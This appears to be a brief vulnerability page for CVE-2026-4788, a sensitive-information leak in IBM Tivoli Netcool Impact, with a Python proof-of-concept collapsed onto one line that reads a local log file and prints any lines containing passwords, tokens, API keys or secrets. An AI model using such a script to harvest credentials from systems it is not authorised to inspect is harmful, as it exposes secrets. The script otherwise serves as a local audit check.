CVE-2026-4788 IBM Tivoli Netcool Impact敏感信息泄露漏洞

import os # Proof of Concept (PoC) for CVE-2026-4788 # This script simulates reading sensitive information from log files. LOG_PATH = "/var/log/netcool/impact.log" # Example log path SENSITIVE_KEYWORDS = ["password", "token", "api_key", "secret"] def check_log_leak(): if not os.path.exists(LOG_PATH): print(f"[-] Log file not found at {LOG_PATH}") return print(f"[*] Reading log file: {LOG_PATH}") with open(LOG_PATH, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() found = False for line in content.split('\n'): # Check if line contains sensitive keywords if any(keyword in line.lower() for keyword in SENSITIVE_KEYWORDS): print(f"[!] Potential sensitive data found: {line.strip()}") found = True if not found: print("[*] No obvious sensitive keywords found in this sample.") else: print("[+] Vulnerability confirmed: Sensitive data is logged in plaintext.") if __name__ == "__main__": check_log_leak()